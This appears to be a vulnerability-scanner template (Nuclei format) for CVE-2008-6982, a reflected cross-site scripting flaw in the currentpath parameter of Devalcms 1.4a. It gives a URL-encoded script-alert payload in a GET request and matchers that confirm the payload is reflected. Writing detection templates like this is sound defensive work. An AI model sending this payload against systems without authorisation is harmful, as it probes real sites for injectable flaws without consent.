id: CVE-2008-6982

info:
  name: Devalcms 1.4a - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Devalcms 1.4a contains a cross-site scripting vulnerability in the currentpath parameter of the index.php file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6369
    - http://sourceforge.net/projects/devalcms/files/devalcms/devalcms-1.4b/devalcms-1.4b.zip/download
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6982
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/44940
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-6982
    cwe-id: CWE-79
    epss-score: 0.05735
    epss-percentile: 0.92293
    cpe: cpe:2.3:a:devalcms:devalcms:1.4a:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: devalcms
    product: devalcms
  tags: cve,cve2008,devalcms,xss,cms,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sub menu for: <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 500
# digest: 490a0046304402200747fa5c1b627c9dbc14cf458668f4bc82c0416bf536b3b0dc3995cc28986cf102201ed45b70f40fbf3b398e2f248ecd8fab26bc80b63a4926a7665955bbe4eb4c4c:922c64590222798bb761d5b6d8e72950